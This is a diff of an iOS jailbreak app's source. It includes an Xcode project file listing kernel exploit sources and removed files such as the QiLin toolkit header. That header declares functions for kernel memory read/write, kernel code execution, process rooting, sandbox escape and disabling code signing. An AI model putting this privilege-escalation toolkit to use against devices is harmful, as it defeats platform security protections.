21CC3905227CDFDE0072D572 /* prefs.m in Sources */,
|
||||
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */,
|
||||
21A97FD32148103C00DC0023 /* kutils.c in Sources */,
|
||||
21C0FC8A21369EE900849420 /* offsets.m in Sources */,
|
||||
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */,
|
||||
21FF63CB224E5FDC008B76D9 /* offsetcache.c in Sources */,
|
||||
216F3F3F2228776E007DC1BC /* pac.c in Sources */,
|
||||
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */,
|
||||
219C90A0228703DA00AFA38A /* jailbreak.m in Sources */,
|
||||
21C0FC8A21369EE900849420 /* KernelOffsets.m in Sources */,
|
||||
21FFE0F9222E4C0600EC59B2 /* machswap_pwn.m in Sources */,
|
||||
21FFE0F8222E4C0600EC59B2 /* machswap_offsets.m in Sources */,
|
||||
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */,
|
||||
21BB9804222F05C40012AF40 /* machswap2_pwn.m in Sources */,
|
||||
214A1776224EBE5400588EC4 /* lzssdec.cpp in Sources */,
|
||||
2150A9E222021348001C8677 /* kernel_memory.c in Sources */,
|
||||
216F3F402228776E007DC1BC /* kc_parameters.c in Sources */,
|
||||
2150A9DF22021348001C8677 /* kernel_slide.c in Sources */,
|
||||
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */,
|
||||
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */,
|
||||
2150A9CD22021330001C8677 /* voucher_swap.c in Sources */,
|
||||
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */,
|
||||
225D142221E052960045493D /* ArchiveFile.m in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
@@ -456,6 +792,11 @@
|
||||
21C0FC7E21369EB800849420 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = YES;
|
||||
ARCHS = (
|
||||
arm64e,
|
||||
arm64,
|
||||
);
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/multi_path.entitlements";
|
||||
@@ -466,6 +807,16 @@
|
||||
FRAMEWORK_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus",
|
||||
"$(PROJECT_DIR)/Undecimus/frameworks",
|
||||
);
|
||||
HEADER_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus/include",
|
||||
"$(PROJECT_DIR)/patchfinder64",
|
||||
"$(PROJECT_DIR)/snappy",
|
||||
"$(PROJECT_DIR)/Injector",
|
||||
"$(PROJECT_DIR)/offset-cache",
|
||||
"$(PROJECT_DIR)/kerneldec",
|
||||
);
|
||||
INFOPLIST_FILE = Undecimus/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
|
||||
@@ -473,22 +824,32 @@
|
||||
LIBRARY_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus",
|
||||
"$(PROJECT_DIR)/Undecimus/libs",
|
||||
);
|
||||
ONLY_ACTIVE_ARCH = NO;
|
||||
OTHER_CFLAGS = "";
|
||||
"OTHER_CFLAGS[arch=*]" = "-DUNDECIMUS";
|
||||
OTHER_LDFLAGS = (
|
||||
"-framework",
|
||||
IOKit,
|
||||
"-w",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = science.xnu.undecimus;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
PROVISIONING_PROFILE_SPECIFIER = "";
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
VALID_ARCHS = "arm64 arm64e";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
21C0FC7F21369EB800849420 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = YES;
|
||||
ARCHS = (
|
||||
arm64e,
|
||||
arm64,
|
||||
);
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/multi_path.entitlements";
|
||||
@@ -499,6 +860,16 @@
|
||||
FRAMEWORK_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus",
|
||||
"$(PROJECT_DIR)/Undecimus/frameworks",
|
||||
);
|
||||
HEADER_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus/include",
|
||||
"$(PROJECT_DIR)/patchfinder64",
|
||||
"$(PROJECT_DIR)/snappy",
|
||||
"$(PROJECT_DIR)/Injector",
|
||||
"$(PROJECT_DIR)/offset-cache",
|
||||
"$(PROJECT_DIR)/kerneldec",
|
||||
);
|
||||
INFOPLIST_FILE = Undecimus/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
|
||||
@@ -506,16 +877,20 @@
|
||||
LIBRARY_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus",
|
||||
"$(PROJECT_DIR)/Undecimus/libs",
|
||||
);
|
||||
OTHER_CFLAGS = "";
|
||||
"OTHER_CFLAGS[arch=*]" = "-DUNDECIMUS";
|
||||
OTHER_LDFLAGS = (
|
||||
"-framework",
|
||||
IOKit,
|
||||
"-w",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = science.xnu.undecimus;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
PROVISIONING_PROFILE_SPECIFIER = "";
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
VALID_ARCHS = "arm64 arm64e";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
|
||||
@@ -1,131 +0,0 @@
|
||||
//
|
||||
// AppDelegate.m
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import "AppDelegate.h"
|
||||
#include "ViewController.h"
|
||||
#include "SettingsTableViewController.h"
|
||||
|
||||
@interface AppDelegate ()
|
||||
|
||||
@end
|
||||
|
||||
@implementation AppDelegate
|
||||
|
||||
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
|
||||
// Override point for customization after application launch.
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_TWEAK_INJECTION] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:@K_TWEAK_INJECTION];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_LOAD_DAEMONS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:@K_LOAD_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_DUMP_APTICKET] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:@K_DUMP_APTICKET];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_REFRESH_ICON_CACHE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_REFRESH_ICON_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_BOOT_NONCE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:@"0xbd34a880be0b53f3" forKey:@K_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_EXPLOIT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:selectExploit() forKey:@K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_DISABLE_AUTO_UPDATES] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_DISABLE_AUTO_UPDATES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_DISABLE_APP_REVOKES] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:@K_DISABLE_APP_REVOKES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_OVERWRITE_BOOT_NONCE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:@K_OVERWRITE_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_EXPORT_KERNEL_TASK_PORT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_EXPORT_KERNEL_TASK_PORT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_RESTORE_ROOTFS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_RESTORE_ROOTFS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_INCREASE_MEMORY_LIMIT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_INCREASE_MEMORY_LIMIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_ECID] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:@"0x0" forKey:@K_ECID];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
[self SetUpShortcuts];
|
||||
return YES;
|
||||
}
|
||||
|
||||
- (void)SetUpShortcuts {
|
||||
NSMutableArray *ShortcutItems = [[NSMutableArray alloc] init];
|
||||
UIApplicationShortcutIcon *JailbreakIcon = [UIApplicationShortcutIcon iconWithTemplateImageName:@"maintenance"];
|
||||
UIApplicationShortcutItem *JailbreakShortcut = [[UIApplicationShortcutItem alloc] initWithType:@"1" localizedTitle:@"Jailbreak" localizedSubtitle:nil icon:JailbreakIcon userInfo:nil];
|
||||
[ShortcutItems addObject:JailbreakShortcut];
|
||||
[[UIApplication sharedApplication] setShortcutItems:ShortcutItems];
|
||||
}
|
||||
|
||||
- (void)application:(UIApplication *)application performActionForShortcutItem:(UIApplicationShortcutItem *)shortcutItem completionHandler:(void (^)(BOOL))completionHandler {
|
||||
switch ([[shortcutItem type] integerValue]) {
|
||||
case 1: {
|
||||
[[ViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary <UIApplicationOpenURLOptionsKey, id> *)options {
|
||||
if ([[url scheme] isEqualToString:@"jailbreak"]) {
|
||||
[[ViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
return YES;
|
||||
}
|
||||
return NO;
|
||||
}
|
||||
|
||||
- (void)applicationWillResignActive:(UIApplication *)application {
|
||||
// Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
|
||||
// Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
|
||||
}
|
||||
|
||||
|
||||
- (void)applicationDidEnterBackground:(UIApplication *)application {
|
||||
// Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
|
||||
// If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
|
||||
}
|
||||
|
||||
|
||||
- (void)applicationWillEnterForeground:(UIApplication *)application {
|
||||
// Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
|
||||
}
|
||||
|
||||
|
||||
- (void)applicationDidBecomeActive:(UIApplication *)application {
|
||||
// Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
|
||||
}
|
||||
|
||||
|
||||
- (void)applicationWillTerminate:(UIApplication *)application {
|
||||
// Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
|
||||
}
|
||||
|
||||
|
||||
@end
|
||||
|
After Width: | Height: | Size: 491 KiB |
|
Before Width: | Height: | Size: 3.6 MiB |
|
After Width: | Height: | Size: 1.7 MiB |
|
Before Width: | Height: | Size: 12 MiB |
|
After Width: | Height: | Size: 3.1 MiB |
|
Before Width: | Height: | Size: 21 MiB |
@@ -2,17 +2,17 @@
|
||||
"images" : [
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"filename" : "Clouds.png",
|
||||
"filename" : "Clouds.jpg",
|
||||
"scale" : "1x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"filename" : "Clouds@2x.png",
|
||||
"filename" : "Clouds@2x.jpg",
|
||||
"scale" : "2x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"filename" : "Clouds@3x.png",
|
||||
"filename" : "Clouds@3x.jpg",
|
||||
"scale" : "3x"
|
||||
}
|
||||
],
|
||||
@@ -20,4 +20,4 @@
|
||||
"version" : 1,
|
||||
"author" : "xcode"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,7 +17,7 @@
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>v1.1.4</string>
|
||||
<string>AUTOPOPULATED</string>
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
|
||||
@@ -1,276 +0,0 @@
|
||||
//
|
||||
// jjt.h
|
||||
// QiLin
|
||||
//
|
||||
// Created by JL on 12/7/17.
|
||||
// Copyright © 2017 NewOSXBook. All rights reserved.
|
||||
|
||||
// Revision 3: Added spawnAndPlatformize(),
|
||||
// moved to posix_spawn() implementation for exec() family
|
||||
// actually exported the set*Reporter functions (formerly ErrorHandler.. etc -
|
||||
// "Reporter" is more accurate, because they allow you to propagate messages to
|
||||
// a GUI.
|
||||
//
|
||||
// Revision 4: Added kexec (executeInKernel)
|
||||
//
|
||||
// Revision 5: KMR/KMW (Kernel memory read/write) functions weren't exported! Oops!
|
||||
//
|
||||
// Revision 6: RootFS mount, fixed bug in getting symbols (no longer needs setKernelSymbol)
|
||||
// and added respring
|
||||
// and also added uint64_t getVnodeByPathName (char *Path) ;
|
||||
//
|
||||
// (Almost) free to use (ABSE) per the license in http://NewOSXBook.com/QiLin/
|
||||
//
|
||||
// Remember to give credit where due and please tweet with #QiLin
|
||||
// so others can quickly find your JailBreak or other project.
|
||||
//
|
||||
|
||||
#if 0
|
||||
Johnny's (semi) open source license, v0.4
|
||||
-----------------------------------------
|
||||
|
||||
This is (well, will be, at the time of writing) open source, and I can't but appeal to your sense of decency.
|
||||
You might try compile this and try to pass it as your own. Heck, you might even try to run it through llvm-obfuscator.
|
||||
But that would be stealing code. And obfuscate as you will, you can't obfuscate enough to hide the methods.
|
||||
So, primum non nocere. Do no harm, and do not steal.
|
||||
|
||||
To be fully clear:
|
||||
|
||||
- Yes, you may use this source or code library as you see fit, PROVIDED THAT:
|
||||
|
||||
- IT IS NOT USED COMMERCIALLY IN ANY WAY. For this, I ask that you contact my company, @Technologeeks,
|
||||
and ask for proper licensing - they'll also provide official support.
|
||||
|
||||
- IT IS NOT USED AS A COMPONENT OF AN APT IN ANY KIND FORM OR MANNER.
|
||||
(NSO/Hackin9/Finfisher/Equus/etc - that means you)
|
||||
|
||||
- WHEN YOU DO USE IT, I ASK THAT YOU MENTION THAT YOUR TOOL IS "powered by the QiLin Toolkit",
|
||||
or otherwise provide a user facing indication that it is using this code.
|
||||
I'd appreciate it if you tweeted with #QiLin, too.
|
||||
|
||||
- If you spread lies about other people, propaganda or false claims, while using this toolkit,
|
||||
then you must renounce your ways, and apologize. Then you can use it freely.
|
||||
|
||||
- There are no limitation on nationality, specific people exclusions (i.e. this is AISE, subject to last condition, above ;-),
|
||||
or any other race, color or creed - provided the above are met.
|
||||
|
||||
|
||||
- QiLin comes with NO LIABILITY WHATSOEVER. YOU USE THIS AT YOUR OWN RISK.
|
||||
|
||||
I CANNOT AND WILL NOT BE HELD ACCOUNTABLE FOR ANY DAMAGE, SOFTWARE OR HARDWARE OR YOUR DATA OR OTHERWISE,
|
||||
|
||||
WHICH MAY OR MAY NOT RESULT TO YOUR IOS DEVICE BY USING THIS.
|
||||
|
||||
- Remember I'm doing this AS A FAVOR. I AM NO IN WAY INDEBTED OR COMMITTED TO SUPPORT THIS, OR ANY OTHER OF MY TOOLS.
|
||||
You don't have to thank for this (you're welcome) but please don't slander me either.
|
||||
|
||||
- Should you wish to contribute/donate, you may do so in one of the following ways:
|
||||
|
||||
- Monetary: Pick a charity. Any charity. Of your choice. Pay them however money you want.
|
||||
Optionally, tweet/fb/insta/snap-whatever a screen capture stating "#QiLin".
|
||||
|
||||
- Development: Through http://NewOSXBook.com/forum - you are welcome to ask (proper technical, not lame wen eta)
|
||||
questions and engage in discussions
|
||||
|
||||
|
||||
|
||||
First, do no harm. Next, have fun :-)
|
||||
|
||||
Changelog:
|
||||
|
||||
- v0.1 Was AISE but SE is being more of an ass than usual and slandering fake claims directly attacking me.
|
||||
So this was updated with new condition excluding him until he grows up and behaves like the decent,
|
||||
talented researcher he can be.
|
||||
|
||||
- v0.3 adds request to tweet #QiLin.
|
||||
|
||||
- v0.4 states what should be obvious - NO LIABILITY WHATSOEVER
|
||||
#endif
|
||||
#ifndef qilin_h
|
||||
#define qilin_h
|
||||
#include <mach/mach.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
|
||||
|
||||
char *getMachine (void);
|
||||
char *getOSVer(void);
|
||||
|
||||
typedef int (*KMRFunc)(uint64_t Address, uint64_t Len, void **To);
|
||||
typedef int (*KMWFunc)(uint64_t Address, uint64_t Len, void *From);
|
||||
void setKernelMemoryReadFunction(KMRFunc F);
|
||||
void setKernelMemoryWriteFunction(KMWFunc F);
|
||||
|
||||
|
||||
// MUST call either initQiLin variant first - with or without TFP0, though, that's your call.
|
||||
|
||||
int initQiLin (mach_port_t TFP0, uint64_t KernelBase);
|
||||
int initQiLinWithKMRW(uint64_t KernelBase, KMRFunc Kmr, KMWFunc Kmw);
|
||||
int initQilinWithTFP0AndMyTaskPortAddr(mach_port_t TFP0, uint64_t MyTaskPortAddr);
|
||||
|
||||
|
||||
// System wide effects
|
||||
//
|
||||
int remountRootFS (void);
|
||||
int reSpring (void); // @FCE365 - this is for you
|
||||
|
||||
pid_t execCommand(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5 , int Flags);
|
||||
pid_t execCommandSuspended(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5);
|
||||
int execCommandAndWait(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5);
|
||||
|
||||
int setTFP0AsHostSpecialPort4 (void);
|
||||
|
||||
// 1/17/18 - This is super useful
|
||||
int spawnAndPlatformize (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5);
|
||||
int spawnAndShaiHulud (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5);
|
||||
|
||||
int moveFileFromAppDir (char *File, char *Dest);
|
||||
int disableAutoUpdates(void);
|
||||
|
||||
// Code signing
|
||||
|
||||
// Will set AMFId's exception ports and thereby disable code signing
|
||||
//
|
||||
int castrateAmfid (void);
|
||||
|
||||
// Utility function - you probably won't need this directly.
|
||||
#define ALGORITHM_SHA256 2
|
||||
#define ALGORITHM_SHA1 1
|
||||
char *cdHashOfFile(char *fileName,int Algorithm); // Calculate CDHash of a given Mach-O (for messing with AMFI)
|
||||
|
||||
|
||||
|
||||
// Kernel Memory access (wrappers over kernel_task send right)
|
||||
uint64_t findKernelSymbol (char *Symbol);
|
||||
void setKernelSymbol (char *Symbol, uint64_t Address); // NOTE: "_kernproc", not "kernproc"
|
||||
|
||||
int readKernelMemory(uint64_t Address, uint64_t Len, void **To);
|
||||
int writeKernelMemory(uint64_t Address, uint64_t Len, void *From);
|
||||
|
||||
// 03/20/2018: Kernel execution
|
||||
|
||||
int kexec(uint64_t Address, uint64_t Arg0, uint64_t Arg1,uint64_t Arg2,uint64_t Arg3,uint64_t Arg4,uint64_t Arg5,uint64_t Arg6);
|
||||
|
||||
|
||||
// 03/20/2018
|
||||
uint64_t getAddressOfPort(pid_t Pid, mach_port_name_t Port);
|
||||
|
||||
// 06/15/2018 -------
|
||||
// Will return the address of the kernel vnode representing Path.
|
||||
uint64_t getVnodeByPathName (char *Path) ;
|
||||
uint64_t getRootVnodeAddr(void); // Convenience, for rootvnode ("/") instead of _rootvnode sym deref
|
||||
|
||||
//-------------------
|
||||
|
||||
// Not recommended, but doable: Bestow task port of Pid in TargetPid
|
||||
mach_port_t task_for_pid_in_kernel (pid_t Pid, pid_t TargetPid);
|
||||
mach_port_t task_for_pid_workaround(int Pid);
|
||||
|
||||
//--------------------------------------
|
||||
|
||||
// Process manipulation functions
|
||||
|
||||
// Finds the address of struct proc for this pid_t in kernel memory.
|
||||
uint64_t getProcStructForPid(pid_t);
|
||||
|
||||
// Finds the pid of a process given its (base) name. Note this will only
|
||||
// work on processes you are the owner of (or all, if root) - this is intentional
|
||||
pid_t findPidOfProcess (char *ProcName) ;
|
||||
|
||||
int setCSFlagsForProcAtAddr(uint64_t ProcStructAddr, int Flags, int Set);
|
||||
int setCSFlagsForPid (pid_t Whom, uint32_t Flags);
|
||||
int platformizePid(pid_t Whom);
|
||||
int rootifyPid(pid_t Whom);
|
||||
int ShaiHuludPid (pid_t Whom, uint64_t CredAddr); // leave 0 for root creds.
|
||||
int ShaiHuludProcessAtAddr(uint64_t thing, uint64_t CredAddr);
|
||||
int unShaiHuludPid (pid_t Whom);
|
||||
|
||||
int platformizeProcAtAddr(uint64_t thing);
|
||||
uint64_t borrowEntitlementsFromDonor(char *UnwittingDonor, char *Arg);
|
||||
// By request :-)
|
||||
uint64_t borrowEntitlementsFromPid(pid_t Pid);
|
||||
|
||||
|
||||
|
||||
// Presently, limited to two entitlements, and assumed boolean (true)
|
||||
int entitlePidWithKernelEnts (pid_t Whom, char *Ent1, char *Ent2);
|
||||
|
||||
// Convenience functions - do all the above , but on my process
|
||||
|
||||
int platformizeMe (void);
|
||||
int rootifyMe(void);
|
||||
|
||||
// Escape sandbox:
|
||||
// call with 0 to assume kernel cred, else specify value. Will return origCreds
|
||||
uint64_t ShaiHuludMe(uint64_t OtherCredsOr0ForKernelCreds);
|
||||
void unShaiHuludMe(uint64_t OrigCreds);
|
||||
int entitleMe(char *entitlementString);
|
||||
|
||||
uint64_t getKernelCredAddr (void);
|
||||
|
||||
|
||||
/// Vnode functions - bringing @MinZheng's APFS bypass to the masses:
|
||||
uint64_t getVnodeByPathName (char *Path);
|
||||
|
||||
/// Launchd handling utilities - just for you @launchderp :-)
|
||||
int makeLaunchdPlist (char *PlistName, char *Program, char *ProgramArguments, char *StandardOutputPath, char *StandardErrorPath, int RunAtLoad);
|
||||
int launjctlLaunchdPlist(char *Name);
|
||||
|
||||
// I use these internally, not sure anyone else would need them
|
||||
int launjctlPrintSystem (void);
|
||||
int launjctlDumpState(void);
|
||||
|
||||
|
||||
// This one is still in progress. Don't use it please.
|
||||
int movePortToPid(mach_port_t PortMoved, pid_t Pid, mach_port_name_t Name);
|
||||
int spawnJailbreakServer (char *Name, mach_port_t TFP0, mach_port_name_t NameInTarget);
|
||||
|
||||
// UI Support:
|
||||
// Provide status, error and debug print outs to user,
|
||||
// which may be redirected to GUI views, etc.
|
||||
// Default implmenentations are NSLog.
|
||||
|
||||
typedef void (status_func) (char *,...);
|
||||
void setStatusReporter (status_func *Func);
|
||||
void setErrorReporter (status_func *Func);
|
||||
void setDebugReporter (status_func *Func);
|
||||
|
||||
|
||||
// Utility functions you probably won't need unless you want to do your own debugging
|
||||
void hexDump(void *Mem, int Len, uint64_t Addr);
|
||||
void dumpARMThreadState64(_STRUCT_ARM_THREAD_STATE64 *old_state);
|
||||
|
||||
// Even more Internal/advanced use:
|
||||
uint64_t findKernelTask (void);
|
||||
uint64_t findMyProcStructInKernelMemory(void); // For other advanced uses I haven't provided already
|
||||
|
||||
static inline int spawnAndShaihuludAndWait(char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5) {
|
||||
pid_t Pid = execCommandSuspended(AmfidebPath, Arg1, Arg2, Arg3, Arg4, Arg5);
|
||||
if (!Pid)
|
||||
return 1;
|
||||
uint64_t procStruct = getProcStructForPid(Pid);
|
||||
if (!procStruct)
|
||||
return 1;
|
||||
ShaiHuludProcessAtAddr(procStruct, 0);
|
||||
kill(Pid, SIGCONT);
|
||||
int status = 0;
|
||||
waitpid(Pid, &status, 0);
|
||||
return WEXITSTATUS(status);
|
||||
}
|
||||
|
||||
static inline int spawnAndPlatformizeAndWait(char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5) {
|
||||
pid_t Pid = execCommandSuspended(AmfidebPath, Arg1, Arg2, Arg3, Arg4, Arg5);
|
||||
if (!Pid)
|
||||
return 1;
|
||||
uint64_t procStruct = getProcStructForPid(Pid);
|
||||
if (!procStruct)
|
||||
return 1;
|
||||
platformizeProcAtAddr(procStruct);
|
||||
kill(Pid, SIGCONT);
|
||||
int status = 0;
|
||||
waitpid(Pid, &status, 0);
|
||||
return WEXITSTATUS(status);
|
||||
}
|
||||
|
||||
#endif /* qilin_h */
|
||||
@@ -1,71 +0,0 @@
|
||||
//
|
||||
// SettingsTableViewController.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 9/14/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
#define K_TWEAK_INJECTION "TweakInjection"
|
||||
#define K_LOAD_DAEMONS "LoadDaemons"
|
||||
#define K_DUMP_APTICKET "DumpAPTicket"
|
||||
#define K_REFRESH_ICON_CACHE "RefreshIconCache"
|
||||
#define K_BOOT_NONCE "BootNonce"
|
||||
#define K_EXPLOIT "Exploit"
|
||||
#define K_DISABLE_AUTO_UPDATES "DisableAutoUpdates"
|
||||
#define K_DISABLE_APP_REVOKES "DisableAppRevokes"
|
||||
#define K_OVERWRITE_BOOT_NONCE "OverwriteBootNonce"
|
||||
#define K_EXPORT_KERNEL_TASK_PORT "ExportKernelTaskPort"
|
||||
#define K_RESTORE_ROOTFS "RestoreRootFS"
|
||||
#define K_INCREASE_MEMORY_LIMIT "IncreaseMemoryLimit"
|
||||
#define K_ECID "Ecid"
|
||||
|
||||
#define LOG_FILE [[NSString stringWithFormat:@"%@/Documents/log_file.txt", NSHomeDirectory()] UTF8String]
|
||||
#define PREFERENCES_FILE [NSString stringWithFormat:@"%@/Library/Preferences/%@.plist", NSHomeDirectory(), [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleIdentifier"]]
|
||||
|
||||
#define ISDEBUGGERATTACHED() (getppid() == 1)
|
||||
|
||||
#define START_LOGGING() do { \
|
||||
if (ISDEBUGGERATTACHED()) { \
|
||||
freopen(LOG_FILE, "a+", stderr); \
|
||||
freopen(LOG_FILE, "a+", stdout); \
|
||||
setbuf(stdout, NULL); \
|
||||
setbuf(stderr, NULL);\
|
||||
} \
|
||||
} while (false) \
|
||||
|
||||
#define RESET_LOGS() do { \
|
||||
if (ISDEBUGGERATTACHED()) { \
|
||||
if (!access(LOG_FILE, F_OK)) { \
|
||||
unlink(LOG_FILE); \
|
||||
} \
|
||||
} \
|
||||
} while(false) \
|
||||
|
||||
@interface SettingsTableViewController : UITableViewController <UITextFieldDelegate>
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *TweakInjectionSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *LoadDaemonsSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *DumpAPTicketSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *RefreshIconCacheSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *BootNonceTextField;
|
||||
@property (weak, nonatomic) IBOutlet UISegmentedControl *KernelExploitSegmentedControl;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *restartButton;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *DisableAutoUpdatesSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *DisableAppRevokesSwitch;
|
||||
@property (nonatomic) UITapGestureRecognizer *tap;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *ShareDiagnosticsDataButton;
|
||||
